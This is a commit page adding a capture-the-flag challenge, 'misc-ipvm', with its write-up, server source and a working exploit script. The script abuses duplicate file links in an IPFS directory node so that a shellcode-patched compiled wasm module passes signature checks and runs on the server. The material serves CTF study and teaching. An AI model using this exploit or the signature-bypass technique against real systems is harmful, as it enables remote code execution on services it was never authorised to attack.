Skip to content

Commit 24b33aa

Browse files
committedMar 12, 2025
feat: add misc-ipvm
1 parent 244422b commit 24b33aa

13 files changed

+511
-0
lines changed
 

‎misc-ipvm/README.md

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
2+
[简体中文](https://mivik.moe/2025/solution/tpctf-2025/#ipvm)
3+
4+
This challenge is based on [IPFS](https://ipfs.tech), a decentralized file storage protocol. IPFS essentially splits a piece of data into many blocks, each uniquely identified by its hash value. The entire data is also identified by a hash value (the hash of all its sub-blocks concatenated and hashed again, see Merkle Tree), called CID. These blocks are then distributed across a P2P network. Ideally, you only need the CID of a data or file to recursively download all its sub-blocks from the network. Sounds cool! But in reality, P2P is far from being ideal; moreover, IPFS has various design flaws, see [How IPFS is broken](https://fiatjaf.com/d5031e5b.html). There're still a batch of people using IPFS, so yeah, it's up to you to decide.
5+
6+
Back to this challenge. This challenge provides a WASM runtime platform based on IPFS. You can:
7+
8+
- `build`: Upload a folder containing `wat` / `wasm` files (yes, IPFS supports folders), and the server will optimize and compile it, sign it, and return the compiled package CID.
9+
- `run`: Upload a package CID, and the server will verify the signature and run it.
10+
11+
That's it, really simple. Where can the vulnerability even be?
12+
13+
We know that the running process of wasm generally involves AOT compilation followed by local execution. Here `build` and `run` basically reproduce this process, which could lead to RCE because the output of `build` is essentially native code. If we can control the input to `run`, we can do whatever we want. However, the signature verification is quite annoying. If the output is not generated by a normal `build`, it won't pass the signature verification. Wasmtime, the runtime environment, is known for its security, making it difficult to exploit a 0day RCE from wasm. What should we do then?
14+
15+
If you are carefully enough, you can spot an inconsistency in the way the server reads files from the folder. The first method is `ipfs_read`, which directly calls `ipfs cat <path>` to print the file content. Here, `path` can be either the CID itself (of course, this requires that the CID corresponds to a file rather than a folder) or a sub-file path of the CID (e.g., `CID/config.json`). The second method is to create a temporary folder and use `ipfs get <CID>` to download all files from the CID into this temporary folder.
16+
17+
This inconsistency turns out to be the key to the vulnerability. After some digging, we know that IPFS uses [DAG-PB](https://ipld.io/docs/codecs/known/dag-pb/) to store directories. The protobuf definition is as follows:
18+
19+
```protobuf
20+
message PBLink {
21+
// binary CID (with no multibase prefix) of the target object
22+
optional bytes Hash = 1;
23+
24+
// UTF-8 string name
25+
optional string Name = 2;
26+
27+
// cumulative size of target object
28+
optional uint64 Tsize = 3;
29+
}
30+
31+
message PBNode {
32+
// refs to other objects
33+
repeated PBLink Links = 2;
34+
35+
// opaque user data
36+
optional bytes Data = 1;
37+
}
38+
```
39+
40+
An idea emerges: what if we have multiple `PBLink` with the same name in a `PBNode` (corresponding to multiple files with the same name in a folder)? It turns out that `ipfs cat` will return the content of the first file, while `ipfs get` will write all files sequentially, resulting in the last file's content being the final output. This inconsistency allows us to maliciously append a `main.cwasm` to the package generated by `build`. During signature verification, `ipfs cat` will work fine, but when we download and execute it using `ipfs get`, it will execute our malicious `main.cwasm`. This is how we achieve RCE.
41+
42+
As for constructing malicious payload `main.cwasm`, I patched a compiled `main.cwasm` using IDA, injecting a segment of shellcode into the function execution part.
43+
44+
> P.S. Use `protoc dag.proto --python_out .` to compile protobuf

‎misc-ipvm/exp/build/config.json

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
{
2+
"name": "test",
3+
"entrypoint": "add"
4+
}

‎misc-ipvm/exp/build/main.wat

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
(module
2+
(func $add (export "add") (param $a i32) (param $b i32) (result i32)
3+
(i32.add (local.get $a) (local.get $b))
4+
)
5+
)

‎misc-ipvm/exp/dag.proto

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
syntax = "proto3";
2+
3+
message PBLink {
4+
// binary CID (with no multibase prefix) of the target object
5+
optional bytes Hash = 1;
6+
7+
// UTF-8 string name
8+
optional string Name = 2;
9+
10+
// cumulative size of target object
11+
optional uint64 Tsize = 3;
12+
}
13+
14+
message PBNode {
15+
// refs to other objects
16+
repeated PBLink Links = 2;
17+
18+
// opaque user data
19+
optional bytes Data = 1;
20+
}

‎misc-ipvm/exp/exp.cwasm

13.1 KB
Binary file not shown.

‎misc-ipvm/exp/exp.py

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
from dag_pb2 import *
2+
from base58 import b58decode
3+
import subprocess as sp
4+
import requests as rq
5+
6+
7+
ip, port = '127.0.0.1 8000'.split()
8+
base = f"http://{ip}:{port}"
9+
ipfs = ["ipfs", "--api", f"/ip4/{ip}/tcp/{port}"]
10+
11+
12+
def add(path):
13+
output = sp.check_output(ipfs + ["add", "-r", path]).decode().strip()
14+
line = output.splitlines()[-1]
15+
return line.split()[1]
16+
17+
18+
built = rq.post(f"{base}/build", json={"cid": add("build")}).json()
19+
output = sp.check_output(ipfs + ["block", "get", built["cid"]])
20+
21+
node = PBNode()
22+
node.ParseFromString(output)
23+
24+
exp = add("exp.cwasm")
25+
node.Links.insert(2, PBLink(Hash=b58decode(exp), Name="main.cwasm", Tsize=13483))
26+
27+
p = sp.Popen(ipfs + ["block", "put", "--format=v0"], stdin=sp.PIPE, stdout=sp.PIPE)
28+
p.stdin.write(node.SerializeToString())
29+
p.stdin.close()
30+
modified = p.stdout.read().decode().strip()
31+
32+
output = rq.post(f"{base}/run", json={"cid": modified, "args": "1"}).json()
33+
print(output)

‎misc-ipvm/handout/Dockerfile

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
FROM debian:12-slim AS compiler
2+
3+
RUN apt update && apt install -y gcc && rm -rf /var/lib/apt/lists/*
4+
5+
COPY readflag.c /
6+
RUN gcc /readflag.c -o /readflag && rm /readflag.c
7+
8+
FROM python:3.12-slim
9+
10+
RUN apt update && apt install -y wget xz-utils && rm -rf /var/lib/apt/lists/*
11+
12+
RUN wget https://dist.ipfs.tech/kubo/v0.33.2/kubo_v0.33.2_linux-amd64.tar.gz && \
13+
tar xvf kubo_v0.33.2_linux-amd64.tar.gz && \
14+
kubo/install.sh && \
15+
rm -rf kubo_v0.33.2_linux-amd64.tar.gz kubo
16+
17+
RUN wget https://github.com/WebAssembly/wabt/releases/download/1.0.36/wabt-1.0.36-ubuntu-20.04.tar.gz && \
18+
tar xvf wabt-1.0.36-ubuntu-20.04.tar.gz && \
19+
cp wabt-1.0.36/bin/wat2wasm /usr/local/bin/ && \
20+
rm -rf wabt-1.0.36-ubuntu-20.04.tar.gz wabt-1.0.36
21+
22+
RUN wget https://github.com/bytecodealliance/wasmtime/releases/download/v30.0.1/wasmtime-v30.0.1-x86_64-linux.tar.xz && \
23+
tar xvf wasmtime-v30.0.1-x86_64-linux.tar.xz && \
24+
cp wasmtime-v30.0.1-x86_64-linux/wasmtime /usr/local/bin/ && \
25+
rm -rf wasmtime-v30.0.1-x86_64-linux.tar.xz wasmtime-v30.0.1-x86_64-linux
26+
27+
RUN groupadd -r ctf && \
28+
useradd -m -g ctf ctf && \
29+
mkdir /app/ && \
30+
chown -R ctf:ctf /app
31+
32+
RUN pip3 install base58 pycryptodome "fastapi[standard]"
33+
COPY server.py index.html /app/
34+
35+
COPY --chmod=600 flag /
36+
COPY --from=compiler /readflag /
37+
RUN chmod +s /readflag
38+
39+
WORKDIR /app
40+
41+
COPY --chmod=755 docker-entrypoint.sh /
42+
ENTRYPOINT ["/docker-entrypoint.sh"]

‎misc-ipvm/handout/docker-compose.yml

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
services:
2+
ipfs:
3+
container_name: ipfs
4+
image: ipfs/kubo:release
5+
healthcheck:
6+
test: sh -c "[ -f /data/ipfs/api ]"
7+
interval: 1s
8+
start_period: 5s
9+
10+
server:
11+
container_name: server
12+
image: ipvm
13+
depends_on:
14+
ipfs:
15+
condition: service_healthy
16+
17+
ports:
18+
- "8000:8000"
+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/bash
2+
3+
su ctf -c "fastapi run server.py"

‎misc-ipvm/handout/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
TPCTF{fakeflag}

‎misc-ipvm/handout/index.html

+118
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
<!DOCTYPE html>
2+
<html lang="zh-CN">
3+
<head>
4+
<meta charset="UTF-8" />
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
6+
<title>IPVM</title>
7+
<link
8+
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
9+
rel="stylesheet"
10+
/>
11+
</head>
12+
<body>
13+
<nav class="navbar navbar-dark bg-dark">
14+
<div class="container-fluid">
15+
<span class="navbar-brand mb-0 h1">🚀 IPVM 🚀</span>
16+
</div>
17+
</nav>
18+
19+
<div class="container mt-5">
20+
<div class="row justify-content-center">
21+
<div class="col-md-6">
22+
<div class="input-group mb-3">
23+
<input
24+
type="text"
25+
id="cid-input"
26+
class="form-control"
27+
placeholder="CID"
28+
aria-label="CID"
29+
/>
30+
</div>
31+
<div class="input-group mb-3">
32+
<input
33+
type="text"
34+
id="arg-input"
35+
class="form-control"
36+
placeholder="Arguments"
37+
aria-label="Arguments"
38+
/>
39+
</div>
40+
<div class="d-grid gap-2 d-md-flex justify-content-md-end">
41+
<button
42+
id="build-btn"
43+
class="btn btn-primary me-md-2"
44+
type="button"
45+
>
46+
🔧 Build
47+
</button>
48+
<button id="run-btn" class="btn btn-success" type="button">
49+
🚀 Run
50+
</button>
51+
</div>
52+
</div>
53+
</div>
54+
</div>
55+
56+
<script>
57+
const buildBtn = document.getElementById("build-btn");
58+
const runBtn = document.getElementById("run-btn");
59+
const cidInput = document.getElementById("cid-input");
60+
const argInput = document.getElementById("arg-input");
61+
62+
buildBtn.addEventListener("click", async () => {
63+
const cid = cidInput.value.trim();
64+
if (!cid) {
65+
alert("Please input CID");
66+
return;
67+
}
68+
69+
try {
70+
const response = await fetch("/build", {
71+
method: "POST",
72+
headers: {
73+
"Content-Type": "application/json",
74+
},
75+
body: JSON.stringify({ cid }),
76+
});
77+
78+
if (!response.ok) {
79+
throw new Error(await response.text());
80+
}
81+
82+
const data = await response.json();
83+
alert(`Build result: ${data.output}`);
84+
} catch (error) {
85+
alert("Build failed: " + error.message);
86+
}
87+
});
88+
89+
runBtn.addEventListener("click", async () => {
90+
const cid = cidInput.value.trim();
91+
const arg = argInput.value.trim();
92+
if (!cid || !arg) {
93+
alert("Please input CID and arguments");
94+
return;
95+
}
96+
97+
try {
98+
const response = await fetch("/build", {
99+
method: "POST",
100+
headers: {
101+
"Content-Type": "application/json",
102+
},
103+
body: JSON.stringify({ cid, arg }),
104+
});
105+
106+
if (!response.ok) {
107+
throw new Error(await response.text());
108+
}
109+
110+
const data = await response.json();
111+
alert(`Output: ${data.output}`);
112+
} catch (error) {
113+
alert("Failure: " + error.message);
114+
}
115+
});
116+
</script>
117+
</body>
118+
</html>

‎misc-ipvm/handout/readflag.c

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#include <unistd.h>
2+
int main() {
3+
setuid(0);
4+
char *newargv[] = {"/bin/cat", "/flag", NULL};
5+
char *newenviron[] = {NULL};
6+
execve("/bin/cat", newargv, newenviron);
7+
}

‎misc-ipvm/handout/server.py

+216
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
import asyncio
2+
import asyncio.subprocess as sp
3+
import httpx
4+
import os
5+
6+
from base58 import BITCOIN_ALPHABET
7+
from contextlib import asynccontextmanager
8+
from fastapi import FastAPI, Request, HTTPException
9+
from fastapi.responses import StreamingResponse, FileResponse
10+
from pydantic import BaseModel, model_validator, AfterValidator
11+
from starlette.background import BackgroundTask
12+
from string import ascii_letters, digits
13+
from tempfile import TemporaryDirectory
14+
15+
from Crypto.Signature import pkcs1_15
16+
from Crypto.Hash import SHA256
17+
from Crypto.PublicKey import RSA
18+
19+
from typing import Annotated
20+
21+
IPFS_API = "http://ipfs:5001"
22+
IPFS_API_MULTIADDR = "/dns4/ipfs/tcp/5001"
23+
24+
key = RSA.generate(2048)
25+
26+
27+
@asynccontextmanager
28+
async def lifespan(app: FastAPI):
29+
async with httpx.AsyncClient(base_url=IPFS_API) as client:
30+
yield {"client": client}
31+
32+
33+
app = FastAPI(lifespan=lifespan)
34+
35+
36+
# ---- Reverse Proxy ----
37+
38+
39+
async def _reverse_proxy(request: Request):
40+
client = request.state.client
41+
url = httpx.URL(path=request.url.path, query=request.url.query.encode())
42+
headers = [(k, v) for k, v in request.headers.raw if k != b"host"]
43+
req = client.build_request(
44+
request.method, url, headers=headers, content=request.stream()
45+
)
46+
r = await client.send(req, stream=True)
47+
return StreamingResponse(
48+
r.aiter_raw(),
49+
status_code=r.status_code,
50+
headers=r.headers,
51+
background=BackgroundTask(r.aclose),
52+
)
53+
54+
55+
app.add_route("/api/v0/{path:path}", _reverse_proxy, ["POST"])
56+
57+
58+
# ---- Main API ----
59+
60+
61+
class IPVMError(HTTPException):
62+
def __init__(self, message: str):
63+
super().__init__(status_code=400, detail=message)
64+
65+
66+
class Config(BaseModel):
67+
name: str
68+
author: str | None = None
69+
version: str | None = None
70+
description: str | None = None
71+
72+
entrypoint: str = "_start"
73+
74+
@model_validator(mode="after")
75+
def verify(self):
76+
if not (
77+
all(c in (ascii_letters + "_") for c in self.entrypoint)
78+
and 0 < len(self.entrypoint) <= 10
79+
):
80+
raise ValueError("Invalid entrypoint")
81+
82+
return self
83+
84+
85+
def verify_cid(cid):
86+
cs = cid.encode()
87+
if not (all(c in BITCOIN_ALPHABET for c in cs) and len(cs) == 46):
88+
raise ValueError("Invalid CID")
89+
90+
return cid
91+
92+
93+
Cid = Annotated[str, AfterValidator(verify_cid)]
94+
95+
96+
async def check_output(cmd, stdout=sp.PIPE, stderr=sp.DEVNULL, timeout=None, **kwargs):
97+
proc = await sp.create_subprocess_exec(*cmd, stdout=stdout, stderr=stderr, **kwargs)
98+
stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=timeout)
99+
if proc.returncode != 0:
100+
raise IPVMError(f"Command {cmd[0]} failed with return code {proc.returncode}")
101+
102+
return stdout
103+
104+
105+
async def ipfs_call(args):
106+
return await check_output(["ipfs", "--api", IPFS_API_MULTIADDR, *args], timeout=30)
107+
108+
109+
async def ipfs_read(path):
110+
return await ipfs_call(["cat", path])
111+
112+
113+
async def check_package(cid, allowed: set[str]):
114+
content = (await ipfs_call(["ls", cid])).decode()
115+
total_size = 0
116+
for line in content.splitlines():
117+
_, size, filename = line.split(maxsplit=2)
118+
assert filename in allowed, f"Invalid file: {filename}"
119+
total_size += int(size)
120+
121+
if total_size > 128 * 1024:
122+
raise IPVMError("Package too large")
123+
124+
125+
class BuildRequest(BaseModel):
126+
cid: Cid
127+
128+
129+
@app.post("/build")
130+
async def build_request(request: BuildRequest):
131+
cid = request.cid
132+
Config.model_validate_json(await ipfs_read(f"{cid}/config.json"))
133+
134+
await check_package(cid, {"config.json", "main.wat", "main.wasm"})
135+
136+
with TemporaryDirectory() as td:
137+
await ipfs_call(["get", cid, "-o", td])
138+
if os.path.exists(f"{td}/main.wat"):
139+
await check_output(
140+
["wat2wasm", "main.wat", "-o", "main.wasm"],
141+
cwd=td,
142+
timeout=5,
143+
)
144+
os.remove(f"{td}/main.wat")
145+
146+
if not os.path.exists(f"{td}/main.wasm"):
147+
raise IPVMError("No wasm file found")
148+
149+
await check_output(
150+
["wasmtime", "compile", "main.wasm"],
151+
cwd=td,
152+
timeout=5,
153+
)
154+
os.remove(f"{td}/main.wasm")
155+
156+
with open(f"{td}/main.cwasm", "rb") as f:
157+
h = SHA256.new(f.read())
158+
signature = pkcs1_15.new(key).sign(h)
159+
160+
with open(f"{td}/main.cwasm.sig", "wb") as f:
161+
f.write(signature)
162+
163+
output = (await ipfs_call(["add", "-r", td])).decode()
164+
line = output.strip().splitlines()[-1]
165+
package_cid = line.split()[1]
166+
167+
return {
168+
"cid": package_cid,
169+
}
170+
171+
172+
class RunRequest(BaseModel):
173+
cid: Cid
174+
args: str = ""
175+
176+
@model_validator(mode="after")
177+
def verify(self):
178+
if not (all(a in (digits + " ") for a in self.args) and len(self.args) <= 20):
179+
raise ValueError("Invalid args")
180+
181+
return self
182+
183+
184+
@app.post("/run")
185+
async def run_request(request: RunRequest):
186+
cid = request.cid
187+
config = Config.model_validate_json(await ipfs_read(f"{cid}/config.json"))
188+
189+
await check_package(cid, {"config.json", "main.cwasm", "main.cwasm.sig"})
190+
191+
signature = await ipfs_read(f"{cid}/main.cwasm.sig")
192+
h = SHA256.new(await ipfs_read(f"{cid}/main.cwasm"))
193+
pkcs1_15.new(key).verify(h, signature)
194+
195+
with TemporaryDirectory() as td:
196+
await ipfs_call(["get", cid, "-o", td])
197+
output = await check_output(
198+
[
199+
"wasmtime",
200+
"run",
201+
"--allow-precompiled",
202+
"--invoke",
203+
config.entrypoint,
204+
"main.cwasm",
205+
*request.args.split(),
206+
],
207+
cwd=td,
208+
timeout=5,
209+
)
210+
211+
return {"output": output.decode()}
212+
213+
214+
@app.get("/")
215+
async def read_index():
216+
return FileResponse("index.html")

0 commit comments

Comments
 (0)
Please sign in to comment.